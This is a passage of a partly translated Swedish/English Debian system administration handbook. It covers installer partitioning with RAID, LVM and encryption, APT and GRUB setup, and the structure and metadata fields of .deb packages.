Installationsprogrammet för Debian tillåter denna åtgärd när manuellt partitionering valts. Du behöver bara ange Windowspartitionen samt dess önskad storlek (fungerar på samma sätt med okrypterade FAT- och NTFS-partitioner).

Om Windows använder BitLocker-krypterade partitioner så krävs användande av BitLocker hantering i Windows diskhanteringsverktyg för att kunna ändra storlek på partitionen ifråga.

Den första skärmbilden visar tillgängliga hårddiskar, deras partitioner och eventuella lediga utrymmen som ännu inte upptas av någon partition. Du kan markera varje visad segment, när något har markerats kan du ange tangenten Enter för att erhålla en meny med alla tillgängliga åtgärder för markerat segment.

Du kan ta bort alla partitioner på en hårddisk genom att markera den.

När du markerar ett ledigt utrymme på en hårddisk så kan du välja att skapa en ny partition manuellt. Du kan också välja att göra detta genom guidad partitionering vilket är en intressant lösning för en hårddisk som redan innehåller ett annat operativsystem och som du önskar partitionera i ett normalt upplägg för Linux. Se Avsnitt 4.2.13.1, ”Guidad partitionering” för ytterligare information gällande guidad partitionering.

Figur 4.11. Editing/creating a partition

TILLBAKA TILL GRUNDERNA Monteringspunkter

Monteringspunkten är den katalog i systemstrukturen som kommer husera filsystemets data på den valda partitionen. En partition som monteras på /home är traditionellt sett avsedd att användas för att lagra användares data.

Katalogen / kallas systemstrukturens rot och är således den högsta katalogen i partitionen som kommer innehålla själva systemet Debian.

TILLBAKA TILL GRUNDERNA Virtuellt minne, swap

Virtual memory allows the Linux kernel, when lacking sufficient memory (RAM), to free a bit of memory by storing the parts of the RAM that have been inactive for some time on the swap partition of the hard disk. It is also fundamental to the "Suspend" and "Hibernate" features of a system.

To simulate the additional memory, Windows uses a swap file that is directly contained in a filesystem. Conversely, Linux uses a partition dedicated to this purpose, hence the term “swap partition”. But it is also able to use a swap file as well.

När du väljer en partition så kan du ange på vilket sätt du avser använda den:

formatera den och inkludera den i filstrukturen genom att välja en monteringspunkt;

använda den som en swappartition;

göra den till en "fysisk krypteringsutrymme" (för att skydda sekretessen på data för vissa partitioner, se nedan);

göra den till en "fysisk volym för LVM" (detta koncept är beskrivet mer detaljerat senare i detta kapitel);

använda den som en RAID enhet (mer information senare i detta kapitel);

du kan också välja att inte använda den och därmed lämna den oförändrad.

4.2.13.3. Konfigurera multidisk enhet (mjukvarubaserad RAID)

Some types of RAID allow the duplication of information stored on hard drives to prevent data loss in the event of a hardware problem affecting one of them. Level 1 RAID keeps a simple, identical copy (mirror) of a hard drive on another drive, while level 5 or 6 RAID splits redundant data over several disks, thus allowing the complete reconstruction of a failing drive.

Vi kommer enbart beskriva RAID 1 vilket är den enklaste att implementera. Första steget involverar skapande av två partitioner med identisk storlek på två olika hårddiskar och markera dem som "fysisk volym för RAID".

Du behöver sen välja "Konfigurera mjukvarubaserad RAID" i partitionsverktyget för att kombinera dessa två partitioner till en ny virtuell disk och sen välja "Skapa en MD enhet" i konfigurationessidan. Du behöver sen svara på några frågor angående denna nya enhet. Första frågan gäller vilken RAID nivå som skall användas, vilket i vårt exempelfall är "RAID 1". Den andra frågan gäller antalet aktiva enheter — två i varat exempelfall, vilket är antalet partitioner som behöver vara inkluderad i denna MD enhet. Den tredje frågan gäller antal reservenheter — 0; vi har inte planerat för någon ytterligare disk som kan ta över ifall en fallerar. Den sista frågan gäller att välja vilka partitioner som skall användas för RAID enheten — vilket är de 2 som vi tidigare dedikerade för ändamålet (säkerställ att du enbart väljer partitionerna som uttryckligen är märkta "RAID").

När du kommer tillbaka till grundmenyn så har en ny virtuell "RAID" disk uppstått. Denna disk presenteras som en enskild partition som inte kan tas bort men som kan användas till din installation likt vilken annan partition.

För vidare detaljer kring funktionaliteten kring RAID, vänligen se Avsnitt 12.1.1, ”Mjukvaru RAID”.

4.2.13.4. Konfigurera Logisk Volymhantering (LVM)

LVM tillåter dig att skapa en "virtuell" partition som kan sträcka sig över flera hårddiskar. Fördelen med detta är tvåfaldig: storleken på en partition är inte längre bunden av storleken på en enskild hårddisk utan snarare den kumulativa volymen av alla hårddiskar, och du kan när som helst ändra storlek på existerande partitioner, exempelvis efter att ha anslutit en ny hårddisk.

LVM använder en särskild terminologi: en virtuell partition är en "logisk volym" som är en del av en "volymgrupp" eller en förening av flera "fysiska volymer". Var och en av dessa termer motsvarar en "riktig" partition (eller en mjukvarubaserad RAID-enhet).

Denna teknik fungerar på ett liknande sätt: varje volym, både fysiska och logiska, är delade i lika stora block som är skapade att korrespondera med LVM. Ett tillägg av en ny hårddisk kommer leda till skapandet av en ny fysisk volym och dessa nya block kan knytas till valfri volymgrupp. Alla partitioner i volymgruppen som är så utökad kommer få ytterligare platts att förfoga över.

Partitioneringsverktyget konfigurerar LVM i flera steg. Först måste du på existerande hårddiskar skapa de partitioner som kommer användas som "fysiska volymer för LVM". För att aktivera LVM behöver du välja alternativet "Konfigurera Logisk Volymhantering (LVM)" för att sen på samma konfigurationssida välja "Skapa en volymgrupp" i vilken du vill knyta de existerande fysiska volymerna till. Slutligen kan du skapa logiska volymer inom denna volymgrupp. Notera att den automatiserade partitioneringssystemet kan utföra alla dessa steg automatiskt.

I partitioneringsmenyn kommer varje fysisk volym att framträda som en hårddisk med en ensam partition som inte kan tas bort men som kan användas efter önskemål.

Användandet av LVM är beskrivet i mer detalj i Avsnitt 12.1.2, ”LVM”.

4.2.13.5. Konfigurera Krypterade Partitioner

För att säkerställa sekretessen på din data vid en eventuell stöld av dator och/eller hårddisk så är de möjligt att kryptera datan på vissa partitioner. Denna funktion kan användas oberoende av vilket filsystem som önskas användas efterssom Linux (och i synnerhet dm-crypt drivrutinen) likt LVM använder sig av enhetskartläggaren för att skapa en virtuell partition (vars innehåll är skyddat) baserat på en underliggande partition som kommer lagra datan i krypterad form (tack vare LUKS, Linux Enhetliga Nyckelstruktur, ett standardformat som möjliggör förvaring av krypterad data så väl som metadata innehållande information som indikerar vilken krypteringsalgoritm som använts).

SÄKERHET Krypterad swappartition

När en krypterad partition används ligger krypteringsnyckeln sparad i RAM-minnet. Eftersom tillgång till denna nyckel tillåter dekryptering av data på partitionen så är det av yttersta vikt att undvika att en kopia av denna nyckel blir tillgänglig för en potentiell tjuv av datorn eller hårddisken, eller för en underhållstekniker. Detta är dock något som lätt kan hända med en bärbar dator eftersom den sparar ner innehåller i RAM-minnet till swappartitionen när den går i viloläge. Om denna swappartition inte är krypterad finns det möjlighet för en eventuell tjuv att komma åt krypteringsnyckeln där och använda den för att avkryptera den skyddade datan. Av denna anledning är det av yttersta vikt att även swappartitionen krypteras om du avser använda en krypterad partition!

Installationsprogramet för Debian kommer varna användaren om denne försöker skapa en krypterad partition utan att samtidigt kryptera swappartitionen.

För att skapa en krypterad partition behöver du först dedikera en tillgänglig partition för ändamålet. För att göra detta markerar du önskad partition och ange att den skall användas som "fysisk volym för kryptering". Efter att ha partitionerat hårddisken som innehåller önskad volym väljer du sen "konfigurera krypterad volym". Programmet kommer då föreslå att initiera partitionen genom att skriva över den med slumpmässig data (vilket försvårar lokalisering av den riktiga datan) samt be dig ange en "krypteringslösenord" som du kommer behöva ange vid varje uppstart för att kunna komma åt den krypterade partitionen. När väl detta steg slutförts och du kommit tillbaka till partitionsverktygets meny så kommer en ny partition finnas tillgänglig i en "krypterad volym" som du sen kan konfigurera som vilken annan partition. I de flesta fall används denna partition som fysisk volym till LVM vilket möjliggör kryptering av flera partitioner (LVM logiska volymer), inklusive swappartition, med en enda krypteringsnyckel (se sidofällt SÄKERHET Krypterad swappartition).

4.2.14. Installerar Bas System

Det här steget, vilket inte kräver någon användarinteraktion, kommer installera de paket som tillsammans utgör Debian "grundsystem". Detta inkluderar verktygen dpkg och apt, vilka hanterar Debian programmpaket så väl som verktygen som krävs för att starta upp systemet och börja använda det.

Figur 4.12. Installation av bas system

4.2.15. Konfigurerar pakethanteraren (apt)

In order to be able to install additional software, APT needs to be configured and told where to find Debian packages. This step is as automated as possible.

NOTERA Debian CD-skiva i CD-läsaren

Om installationsprogrammet känner av en Debian installationsskiva i CD/DVD-läsaren så är det inte strikt nödvändigt att konfigurera APT att leta efter paket över nätet, eftersom APT är konfigurerad per automatik att instalera paket från flyttningsbara media. Om skivan är en del i ett sett kommer installationsprogramet erbjuda att "utforska" de andra skivorna för att kunna referera alla paket som förvaras på dem.

If getting packages from the network is requested, the installer allows to choose a server from which to download these packages, by choosing first a country, then a mirror available in that country. A mirror is a public server hosting copies of all the files of the Debian master archive.

Figur 4.13. Välja en Debian spegelserver

Slutligen föreslår programmet att använda en HTTP mellanserver. Om en mellanserver saknas kommer internetåtkomsten vara direkt. Om du anger http://proxy.falcot.com:3128 kommer APT använda Falcot mellanserver/gömma, ett "bläckfiskprogram". Du kan finna dessa inställningar genom att kontrollera konfigurationen för en webbläsare på en annan dator kopplad till samma nätverk.

Filerna Paket.xz och källor.xz laddas sen ner automatiskt för att uppdatera listan över paket som APT känner till.

TILLBAKA TILL GRUNDERNA HTTP mellanserver

En HTTP mellanserver vidarebefordrar en HTTP-begäran för nätverksanvändare. Ibland hjälper den även till att skynda på nedladdningar genom att behålla kopior på filer som passerats förbi den (vi pratar då om en mellanserver/gömma). I vissa fall är de det enda sättet att nå en extern webbserver på, om så är fallet är det av stor vikt att besvara frågor gällande detta under installation för att programmet skall kunna ladda ned Debians paket genom spegelservern.

Bläckfisk är namnet på servermjukvaran som används av Falcot Corp för att kunna erbjuda denna tjänst.

4.2.16. Popularitetstävling bland Debian Paket

Systemet Debian innehåller ett paket vid namn popularity-contest vars syfte är att sammanställa statistik över användandet av paket. Varje vecka samlar detta program in information kring vilka paket som finns installerad och vilka som nyligen använts och skickar detta anonymt till Debian-projektets servrar. Projektet kan sen använda sig av denna information för att bedömma de enskilda paketens betydelse och i längden vilken prioritet dem får. De allra mest "populära" paketen kommer vara inkluderad i installationsskivan vilket ökar åtkomsten till paketen för dem som inte önskar ladda nermdet från internet, eller för dem som önskar köpa ett fullständig samling.

För att respektera användarens konfidentialitet är detta paket enbart aktiverad på begäran.

4.2.17. Välj paket för Installation

The following step allows you to choose the purpose of the machine in very broad terms; the twelve suggested tasks correspond to lists of packages to be installed. The list of the packages that will actually be installed will be fine-tuned and completed later on, but this provides a good starting point in a simple manner.

This step can require a full set of installation media or an internet connection and a working mirror setup as described above.

Vissa paket installeras automatiskt utifrån vilken hårdvara som upptäckts (tack vare programmet discover-pkginstall från paketet discover).

Figur 4.14. Val av uppgifter

4.2.18. Installera GRUB Uppstartsladdare

Uppstartsladdaren är det första programmet som startas upp av BIOS. Detta program lägger upp Linuxkärnan i minnet och kör sedan den. Ofta erbjuder den en meny som möjliggör för väljaren att välja vilken kärna som skall laddas och/eller vilket operativsystem som skall startas.

VARNING Uppstartsladdare och flervalsstart

I detta steg av Debians installationsprocess identifieras de operativsystem som redan finns installerad på datorn och automatiskt lägger till en motsvarande val i uppstartsmenyn, men alla installationsprogram gör inte detta.

I synnerhet om du installerar (eller ominstallerar) Windows efter installationen av Debian, uppstartsladdaren kommer i dessa fall bli överskriven. Debian kommer fortfarande finnas kvar på hårddisken, men kommer inte längre finnas tillgänglig från uppstartsmenyn (med undantag från Windows 10 där det kommer finnas tillgänglig via Windows återställningsprompt). Du skulle i dessa fall behöva starta upp Debian installationssystem i återställnings-läge för att kunna ställa in en lite mindre exkluderande uppstartsladdare. Denna operation finns beskriven i detalj i installationsmanualen.

→ https://www.debian.org/releases/stable/amd64/ch08s06

Som standard så erbjuder uppstartsmenyn som GRUB tillhandahåller alla installerade versioner av Linuxkärnan, så väl som andra operativsystem som har identifierats. På grund av detta rekomenderas du att acceptera erbjudandet att installera uppstartsladdaren i den gemensamma startsektorn. Eftersom att behålla äldre versioner av kärnan bevarar möjligheten att starta upp systemet vid eventuella problem med uppdateringar på grund av fel eller dålig anpassning till hårdvaran, så är det ofta logiskt att behålla några tidigare versioner av kärnan installerad.

GRUB is the default bootloader installed by Debian thanks to its technical superiority: it works with most filesystems and therefore doesn't require an update after each installation of a new kernel, since it reads its configuration during boot and finds the exact position of the new kernel. Version 1 of GRUB (now known as “Grub Legacy”) couldn't handle all combinations of LVM and software RAID; version 2, installed by default, is more complete. While there may still be situations where it is preferable to install LILO (another bootloader); the Debian installer does no longer support the installation of it.

Det är värt att nämna att GRUB inte är en enskilld uppstartsladdare, det är mer som en kollektion av uppstartsladdare med olika användarområden. Det stora antalet binära paket byggd utifrån GRUB källkodspaket reflekterar detta: grub-efi-amd64 är för 64-bitars PC som startar upp med UEFI, grub-efi-ia32 är för 32-bitars PC som startar upp med UEFI, grub-pc är för PC som startar upp med BIOS, grub-uboot är för ARM datorer, etc.

För mer information om hur man konfigurerar GRUB, vänligen se Avsnitt 8.8.2, ”GRUB 2 Konfiguration”.

UPPLYSNING Säker Uppstart och uppstartsladdare med mellanlägg

Secure Boot is a technology ensuring that you run only software validated by your operating system vendor. To accomplish its work each element of the boot sequences validates the next software component that it will execute. At the deepest level, the UEFI firmware embeds cryptographic keys provided by Microsoft to check the bootloader's signature, ensuring that it is safe to execute. Since getting a binary signed by Microsoft is a lengthy process, Debian decided to not sign GRUB directly. Instead it uses an intermediary bootloader called shim, which almost never needs to change, and whose only role is to check Debian's provided signature on GRUB and execute GRUB. To run Debian on a machine having Secure Boot enabled, the shim-signed package must be installed.

Nedströms kommer GRUB göra en liknande kontroll av kärnan, som i sin tur kan komma att kontrollera signaturer på moduler som laddas. Kärnan har också möjlighet att förbjuda operationer som skulle kunna äventyra systemets integritet.

Debian 10 (Buster) was the first release supporting Secure Boot. Before, you had to disable that feature in the system setup screen offered by the BIOS or the UEFI.

4.2.19. Avsluta Installationen och Starta om datorn

Installationen är nu klar, programmet uppmanar dig att ta bort CD-skivan från läsaren och sen starta om datorn.

Figur 4.15. Installation complete

4.3. Efter Första Uppstarten

Om du aktiverade uppgiften "Debian skrivbordsmiljö" utan något uttryckligt val av skrivbord (eller om du valde "GNOME") kommer datorn visa gdm3 loginhanterare vid uppstart.

Figur 4.16. Första uppstart

Användare som redan skapats kan sen logga in och börja använda datorn direkt.

4.3.1. Installera Ytterligare Programmvara

De paket som finns installerad uppfyller profilen som valdes i installationen, men inte nödvändigtvis för användningen som maskinen verkligen skall användas för. Om så kanske du önskar använda ett verktyg kallad pakethanterare för att finjustera valet av installerade paket. De två mest vanliga verktygen (vilket installerats ifall profilen "Debian skrivbordsmiljö" valdes) är apt (åtkommlig via terminalen) och synaptic ("Synaptic Pakethanterare" i menyer).

För att underlätta installation av sammankopplade program har Debian skapat "uppgifter" som tillägnas specifika användarscenarion (mailserver, filserver, m.m.). Du har redan haft möjlighet att välja dessa under installationen och du kan använda dig av dem igen genom pakethanterarverktyg så som aptitude (uppgifterna listas i en sepparat sektion) och synaptic (genom meny Ändra → Markera Paket inom Uppgift...).

Aptitude är ett gränssnitt för APT i fullskärm-textläge. Det tillåter användaren att bläddra i listan av tillgängliga paket enligt flertalet kategorier (installerade eller inte installerade paket, uppgift, sektion och så vidare), samt visa all tillgänglig information för respektive paket (beroendepaket, konflikter, beskrivning och så vidare). Varje paket kan markeras "installera" (skall installeras, tangent +) eller "avinstallera" (skall avinstalleras, tangent -). Alla valda operationer kommer utföras samtidigt så fort du bekräftat valen genom att ange tangenten g (g för "gå!"). Om du glömde några program så är det inga bekymmer, du kommer kunna köra aptitude igen så fort den tidigare installationen har slutförts.

TIPPS Debian värnar om icke-engelska språkgrupper

Flertalet uppgifter är dedikerade att tillhandahålla systemet i andra språk utöver engelska. Dessa inkluderar översatt dokumentation, ordböcker samt diverse andra paket som kan vara av användning för användare av olika språk. Lämpliga uppgifter väljs automatiskt ifall ett icke-engelskt språk valdes under installationen.

Of course, it is possible not to select any task to be installed. In this case, you can manually install the desired software with the apt or aptitude command (which are both accessible from the command line). The packages can be found using the apt-cache search task keyword command.

VOKABULÄR Paketberoenden, konflikter

I Debians språkbruk kring pakethantering är ett "beroende" ett annat paket som krävs för att paketet i fråga skall fungera på ett tilltänkt sätt. Omvänt är en "konflikt" ett paket som inte kan vara installerad samtidigt som ett annat.

Dessa koncept förklaras i djupare detalj i Kapitel 5, Packeteringssystem: Verktyg och Fundamentala Principer.

4.3.2. Uppgradera Systemet

Att initialt använda kommandot apt upgrade (ett kommando som används för att automatiskt uppgradera installerade program) är generellt rekommenderat, i synnerhet för att installera möjliga säkerhetsuppdateringar som släppts sen lanseringen av senaste stabila utgåvan av Debian. Dessa uppdateringar kan komma att involvera ytterligare frågor genom debconf, Debians standardkonfigurationsverktyg. För ytterligare information kring dessa uppdateringar hanterad av apt, vänligen se Avsnitt 6.2.3, ”Systemuppgradering”.

Kapitel 5. Packeteringssystem: Verktyg och Fundamentala Principer

I egenskap av en Debian systemadministratör kommer du regelbundet hantera paket med filändelsen .deb, efterssom de innehåller sammanhängande funktionella enheter (applikationer, dokumentation och så vidare) vars installation och underhållning möjliggörs tack vare paketen. Det är därför en bra idè att känna till vad de är och hur de skall användas.

Detta kapitel beskriver strukturen och innehållet av "binära-" och "källkods-paket". Det förstnämnda är filer som kan användas direkt av dpkg, den sistnämnda innehåller källkoden så väl som instruktioner hur dess binära paket skall byggas.

5.1. Struktur av ett binär paket

Debians format på paket är designad på så vis att dess innehåll kan bli extraherad på samtliga Unixbaserade system som innehar de klassiska kommandona ar, tar och xz eller ibland gzip eller bzip2. Denna till synes triviala egenskap är viktig för portabiliteten samt för återställning i händelse av olycka.

Föreställ dig som exempel att du av misstag skulle råka ta bort programmet dpkg och således inte skulle kunna instalera nya Debian paket. Med tanke på att dpkg själv är ett paket skulle man kunna tro att systemet är uträknat. Lyckligtvis känner du dock till formatet på ett paket och kan sålunda ladda ner .deb-filen för paketet dpkg och installera det manuellt (se sidovyn VERKTYGdpkg,APT och ar). Om det skulle hända sig att en eller flera av programmen ar, tar eller gzip/xz/bzip2 har försvunnit, behöver du bara kopiera det saknade programmet från ett annat system (eftersom varje av dessa fungerar på ett helt självstyrande sätt utan några beroenden så är kopiering av filerna ifråga det enda som behövs). Om ditt system drabbats av ytterligare katastrofal olycka och inte ens dessa verktyg fungerar (kanske något av systemets mest grundläggande bibliotek saknas?) skulle du kunna testa den statiska versionen av busybox (som tillhandahålls av paketet busybox-static), vilket är i ännu större grad självisolerad och tillhandahåller kommandon som busybox ar, busybox tar och busybox xz.

I händelse av en olyckshändelse är det också bra att ha en återställningskopia på ditt system (se Avsnitt 9.10, ”Säkerhetskopia”).

VERKTYGdpkg,APT och ar

dpkg är programmet som hanterar .deb filer (binära paket), särskillt att extrahera, analysera och packa upp dem.

APT (förkortning för Avancerad Packeteringsverktyg, engelska "Advanced Packaging Tool") är en grupp av program som möjliggör ikraftsättande av förändringar i systemet på en högre nivå: installera eller ta bort ett paket (samtidigt som beroenden tillmötesgås), uppdatera och uppgradera systemet, lista tillgängliga paket och så vidare.

As for the ar program, provided by the binutils package, it allows handling files of the same name:

ar t archive displays the list of files contained in such an archive,

ar x archive extracts the files from the archive into the current working directory,

ar d archive file deletes a file from the archive, etc.

Its man page ar(1) documents all its other features. ar is a very rudimentary tool that a Unix administrator would only use on rare occasions, but admins routinely use tar, a more evolved archive and file management program. This is why it is easy to restore dpkg in the event of an erroneous deletion. You would only have to download the Debian package and extract the content from the data.tar.xz archive in the system's root (/):

# ar x dpkg_1.20.9_amd64.deb # tar -C / -p -xJf data.tar.xz

TILLBAKA TILL GRUNDERNA Noteringar till sidor i manualen

Det kan upplevas förvirrande för nytillkomna att hitta referenser till "ar(1)" i litteraturen. Detta sätt är dock generellt ett smidigt sätt att referera till manualsidan med titel ar sektion 1.

Ibland används också denna notation för att ta bort tvetydigheter, till exempel för att särskilja mellan kommandot printf som också kan anges med printf(1) och funktionen printf i programspråket C, vilket också kan anges som printf(3).

Kapitel 7, Lösa problem och hitta relevant information diskuterar manualsidor i djupare detalj (se Avsnitt 7.1.1, ”Manualsidor”).

Ta en titt på innehållet i en .deb-fil:

$ ar t dpkg_1.20.9_amd64.deb debian-binary control.tar.gz data.tar.xz $ ar x dpkg_1.20.9_amd64.deb $ ls control.tar.gz data.tar.xz debian-binary dpkg_1.20.9_amd64.deb $ tar tJf data.tar.xz | head -n 16 ./ ./etc/ ./etc/alternatives/ ./etc/alternatives/README ./etc/cron.daily/ ./etc/cron.daily/dpkg ./etc/dpkg/ ./etc/dpkg/dpkg.cfg ./etc/dpkg/dpkg.cfg.d/ ./etc/logrotate.d/ ./etc/logrotate.d/alternatives ./etc/logrotate.d/dpkg ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/bin/ $ tar tJf control.tar.xz ./ ./conffiles ./control ./md5sums ./postrm $ cat debian-binary 2.0

Som du kan se består ar arkivet av ett Debianpaket av tre filer:

debian-binary

This is a text file which simply indicates the version of the .deb file package format version. In Debian Bullseye it is still version 2.0.

control.tar.xz

Denna arkivfil innehåller all tillgänglig metainformation, så som namn och version på paketet så väl som några skript som skall köras innan, under eller efter (av-)installation av paketet. En del av metainformationen möjliggör för packeteringsverktygen att avgöra om det är möjligt att installera eller avinstallera paketet, exempelvis i enlighet med listan över redan installerade paket på datorn, samt om filer som skickats har modifierats lokalt.

data.tar.xz, data.tar.bz2, data.tar.gz

Detta arkiv innehåller alla de filer som skall extraheras från paketet; det är här alla körbara filer, bibliotek, dokumentation, och så vidare, förvaras. Paket kan använda olika komprimeringsformat, vilket gör att filen får olika namn för xz, bzip2 eller gzip.

5.2. Pakets Metainformation

The Debian package is not only an archive of files intended for installation. It is part of a larger whole and describes its relationship with other Debian packages (requisites, dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, upgrade, removal). These data are used by the package management tools, but are not part of the packaged software; they are, within the package, what is called its “meta-information” - information about other information.

5.2.1. Beskrivning: control filen

Denna fil använder en struktur som liknar sidhuvudet på ett mail (definierad av RFC 2822) och är beskrivet i sin helhet i Debians policy samt manualsidorna deb-control(5) och deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

Som exempel, för apt ser control-filen ut som följande:

$ apt-cache show apt Package: apt Version: 2.2.4 Installed-Size: 4337 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: amd64 Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~) Provides: apt-transport-https (= 2.2.4) Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0 Recommends: ca-certificates Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10) Description-en: commandline package manager This package provides commandline tools for searching and managing as well as querying information about packages as a low-level access to all features of the libapt-pkg library. . These include: * apt-get for retrieval of packages and information about them from authenticated sources and for installation, upgrade and removal of packages together with their dependencies * apt-cache for querying available information about installed as well as installable packages * apt-cdrom to use removable media as a source for packages * apt-config as an interface to the configuration settings * apt-key as an interface to manage authentication keys Description-md5: 9fb97a88cb7383934ef963352b53b4a7 Tag: admin::package-management, devel::lang:ruby, hardware::storage, hardware::storage:cd, implemented-in::c++, implemented-in::perl, implemented-in::ruby, interface::commandline, network::client, protocol::ftp, protocol::http, protocol::ipv6, role::program, scope::application, scope::utility, suite::debian, use::downloading, use::organizing, use::playing, use::searching, works-with-format::html, works-with::audio, works-with::software:package, works-with::text Section: admin Priority: required Filename: pool/main/a/apt/apt_2.2.4_amd64.deb Size: 1491328 MD5sum: 24d53e8dd75095640a167f40476c0442 SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

Let us have a closer look at the purpose of some of the fields listed by the previous command.

TILLBAKA TILL GRUNDERNA RFC — Internetstandarder

RFC är förkortningen för "Efterfrågan På Kommentarer" (Request For Comments på engelska). En RFC är generellt ett tekniskt dokument som beskriver vad som kommer bli en internetstandard. Innan dessa blir standardiserad och fryst läggs standarderna upp för offentlig recensiering (därav dess namn). IETF (Insattsstyrkan för Internetteknologi, "Internet Engineering Task Force" på engelska) avgör dessa dokuments statusutveckling (föreslagen standard, utkast och standard).

RFC 2026 definierar processen kring standardisering av internetprotokoll.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Beroenden: Fältet Beror på

The dependencies are defined in the Depends field in the package header. It is a list of conditions to be met for the package to work correctly. This information is used by tools such as apt in order to install the required libraries, tools, drivers, etc., in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:

<<: mindre än;

<=: mindre än eller lika med;

=: lika med (notera att exempelvis "2.6.1" inte är lika med "2.6.1-1");

>=: större eller lika med;

>>: större än.

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.

→ https://www.debian.org/doc/debian-policy/ch-relationships.html#syntax-of-relationship-fields

The dependencies system is a good mechanism for guaranteeing the operation of a program, but it has another use with “meta-packages”. These are empty packages that only describe dependencies. They facilitate the installation of a consistent group of programs pre-selected by the meta-package maintainer; as such, apt install meta-package will automatically install all of these programs using the meta-package's dependencies. The gnome, kde-full and linux-image-amd64 packages are examples of meta-packages.

DEBIAN RIKTLINJER Fälten Recommends, Suggests och Enhances

Fälten Recommends och Suggests beskriver beroenden som inte är obligatoriska. De "rekomenderade" beroenderna, de högre prioriterade, förbättrar avsevärt paketets funktionalitet, men är inte oersättlig för dess operation. De "föreslagna" beroenden, av sekundär prioritetsordning, indikerar att vissa paket kan komplettera varandra och utveckla varandras användbarhet, men att det är fullt resonligt att installera det ena utan de andra.

You should always install the “recommended” packages, unless you know exactly why you do not need them. This is now also the default for APT unless configured otherwise. Conversely, it is not necessary to install “suggested” packages unless you know why you need them (the package description or its documentation may contain information which extra functionality they will activate). The behavior of apt can be controlled by using the APT::Install-Recommends and APT::Install-Suggests configuration options or the corresponding command line options --[no-]install-recommends and --[no-]install-suggests.

Fältet Enhances beskriver också förslag, men i en annat kontext. Fältet finns i paketet som föreslås, inte i paketet som drar nytta av förslaget. Dess syfte är att möjliggöra att föreslag kan läggas till utan att behöva modifiera paketet som omfattas. På så vis kan alla insticksprogram och andra tillägg till ett program listas som förslag relaterat till en mjukvara. Även om det har funnits i flera år, är detta sista fält oftast ignorerat av program så som apt eller synaptic. Dess syfte är för att ett förslag ställt i fältet Enhances skall framträda för användaren, utöver de traditionella föreslagen — funna i fältet Suggests.

DEBIAN RIKTLINJER Pre-Depends, en mer krävande Depends

"Innan-beroenden", som listas i fältet “Pre-Depends” i paketets sidhuvud, kompletterar de normala beroenden; dess syntax är identisk. Ett normalt beroende indikerar att paketet ifråga måste vara uppackad och konfigurerad innan konfigurering görs för det paket som anger beroendet. Ett innan-beroende föreskriver att paketet i fråga måste vara uppackad och konfigurerad innan pre-installationsskript körs för det paket som deklarerar innan-beroendet, det vill säga innan dess installation.

A pre-dependency is very demanding for apt, because it adds a strict constraint on the ordering of the packages to install. As such, pre-dependencies are discouraged unless absolutely necessary. It is even recommended to consult other developers on <debian-devel@lists.debian.org> before adding a pre-dependency. It is generally possible to find another solution as a workaround.

5.2.1.2. Konflikter: fältet Conflicts

Fältet Conflicts indikerar när ett paket inte kan installeras samtidigt som ett annat. De vanligaste orsakerna till detta är att båda paketen inkluderar en fil med samma namn och sökväg, eller tillhandahåller samma tjänst på samma TCP port, eller skulle hindra varandras drift.

dpkg kommer vägra att installera ett paket om det skapar en konflikt med ett redan installerat paket, såvida inte det nya paketet specificerar att det kommer "ersätta" det installerade paketet varvid dpkg kommer välja att ersätta et äldre paketet med det nya. apt följer alltid din instruktion: om du väljer att installera ett nytt paket, kommer den automatiskt att erbjuda att avinstallera eventuella paket som utgör ert problem.

5.2.1.3. Oförenligheter: Fältet Breaks

Fältet Breaks har en effekt liknande som fältet Conflicts, men med en speciell innebörd. Det signalerar att installationen av ett paket kommer "knäcka" ett annat paket (eller en särskild version av det). Generellt är många dylika inkompatibiliteter mellan två paketen övergående, och Breaks relationen refererar specifikt till inkompatibla versioner.

dpkg kommer vägra installera ett paket som knäcker ett redan installerat paket, och apt kommer försöka lösa problemet genom att uppgradera paketet som annars skulle ha knäckts till en nyare version (vilken antas vara fixad, och således kompatibel igen).

Denna typ av situation kan uppstå vid händelse av en uppdatering utan bakåtkompatibilitet: detta är fallet om den nya versionen inte längre fungerar med den äldre versionen och orsakar funktionsstörningar i andra program utan att skapa särskillda bestämmelser. Fältet Breaks skyddar användaren från att hamna i dylika problem.

5.2.1.4. Tillhandahållna element: Fältet Provides

Detta fält introducerar det intressanta konceptet av "virtuella paket". Det har många syften, men två av dem är av särskild vikt. Första av dessa syften består av att använda ett virtuellt paket för att kunna knyta en generell tjänst till det (paketet "tillhandahåller" den tjänsten). Det andra syftet är för att indikera att ett paket helt ersätter ett annat, och att det för detta föremål också kan tillmötesgå beroenden likväl som det andra skulle kunna gjort. Det är på så vis möjligt att skapa ett ersättningspaket utan att behöva använda samma namn.

VOKABULÄR Metapaket och virtuella paket

Det är väsentligt att tydligt skilja metapaket från virtuella paket. Det tidigare är ett riktigt paket (inklusive riktiga .deb filer), vars enda syfte är att ange beroenden.

